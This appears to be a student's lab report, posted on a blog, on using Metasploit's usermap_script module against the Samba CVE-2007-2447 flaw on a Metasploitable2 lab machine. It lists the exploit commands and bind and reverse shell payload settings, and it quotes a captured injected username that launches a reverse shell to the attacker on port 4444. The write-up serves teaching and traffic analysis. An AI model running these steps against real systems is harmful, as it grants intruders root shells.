20252810 2025-2026-2 《网络攻防实践》实践七报告

20252810 2025-2026-2 《网络攻防实践》实践七报告

1.实践内容

1.Samba服务Usermap_script漏洞(CVE-2007-2447)
Samba 3.0.20到3.0.25rc3版本中,当配置了username map script选项时,远程攻击者可以通过发送一个包含恶意命令的用户名(例如/nohup sh -c ...)来执行任意系统命令,从而获取服务器权限。

2.Metasploit基本操作流程
msfconsole:启动框架。
search samba:搜索相关漏洞模块。
use exploit/multi/samba/usermap_script:选用特定漏洞利用模块。
show payloads:查看可用的载荷(payload)。
set payload cmd/unix/bind_netcat或cmd/unix/reverse:设置载荷类型(正向绑定shell或反向shell)。
set LHOST / set RHOST:配置攻击机IP和靶机IP。
show options:检查参数是否齐全。
exploit:执行攻击。

3.正向Shell与反向Shell的区别**
bind_netcat:靶机在某个端口(如4444)监听,攻击机主动连接该端口获得shell。适合靶机有公网IP或防火墙允许入站连接。
reverse:攻击机监听一个端口,靶机主动连接攻击机获得shell。更适合靶机在内网、防火墙阻止入站但允许出站的情况。

4.后渗透基本命令

ifconfig:查看靶机网络配置。
whoami:确认当前用户身份(实验中获得root)。
pwd:查看当前目录路径。

2.实践过程

1.使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
两台机器的ip地址如下:
Metasploitable2-Linux:192.168.200.10
kali:192.168.200.2

在kali中输入msfconsole启动Metasploit软件
image
输入search samba
image
输入use exploit/multi/samba/usermap_script使用exploit:exploit/multi/samba/usermap_script渗透攻击模块。
输入show payloads查看用于渗透攻击的攻击载荷列表
image
输入set payload cmd/unix/bind_netcat
设置渗透攻击参数
set LHOST 192.168.200.2
set RHOST 192.168.200.10
show options
image
输入exploit开始进行渗透攻击(在这之前就要打开wireshark抓包了),然后直接输入ifconfig
image
输入whoami获得root权限
image
2.实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

Metasploitable2-Linux:192.168.200.10
kali:192.168.200.2

在kali中输入msfconsole启动Metasploit软件
image
输入use exploit/multi/samba/usermap_script
image
设置攻击参数
set LHOST 192.168.200.2
set RHOST 192.168.200.10
set payload cmd/unix/reverse
payload 设置为 cmd/unix/reverse,用于建立一个反向Shell
最后输入show options确认所有参数都已正确填写

image
输入exploit命令执行攻击。
攻击完成后输入
ifconfig
whoami
pwd
发现获得root权限。

image

分析抓包数据
攻击机IP地址为 192.168.200.2,目标机IP地址为 192.168.200.10。
攻击机首先主动向目标机的 139 端口发起 TCP 连接请求(SYN 包),目标机正常响应 SYN+ACK,完成 TCP 三次握手。
紧接着,攻击机通过 SMB 协议发送 Session Setup 请求,在用户名字段中注入恶意命令:/nohup sh -c (sleep 3726\teln 192.168.2...。这是 Samba usermap_script 漏洞(CVE-2007-2447) 的典型利用特征,攻击机利用该漏洞在目标机上执行任意命令。
目标机在处理该畸形 SMB 请求时,由于漏洞存在,成功执行了注入的命令。该命令启动一个反向连接,目标机主动向攻击机的 4444 端口发起 TCP 连接请求(SYN 包)。
攻击机响应 SYN+ACK,完成三次握手,反弹 shell 成功建立。攻击机获得目标机的远程 shell 访问权限,且权限为 root。
image

追踪TCP流后可以查看信息
image

3.学习中遇到的问题及解决

  • 问题1:用vsftp攻击不成功
  • 问题1解决方案:换了一个模块攻击

4.实践总结

这次实验我用Metasploit对Linux靶机上的Samba服务漏洞进行了渗透攻击,成功拿到了root权限。整个过程挺顺利的:先在msfconsole里搜到usermap_script模块,然后设置好攻击机和靶机的IP,选了一个反向shell的载荷,运行exploit就得到了命令行控制权。通过Wireshark抓包,我清楚看到了攻击机先连靶机的139端口发一个带命令的SMB请求,然后靶机主动连回攻击机的4444端口建立反弹shell。这让我明白了漏洞利用不光是点一下按钮,背后其实是一系列网络协议的交互。另外我也学会了正向shell和反向shell的区别,反向shell在实战中更常用,因为它能绕过很多防火墙限制。总的来说,这次实验让我对Linux远程渗透有了直观体验,也加深了对Samba漏洞和流量分析的理解。

posted @ 2026-04-24 17:52  小熊维迪  阅读(2)  评论(0)    收藏  举报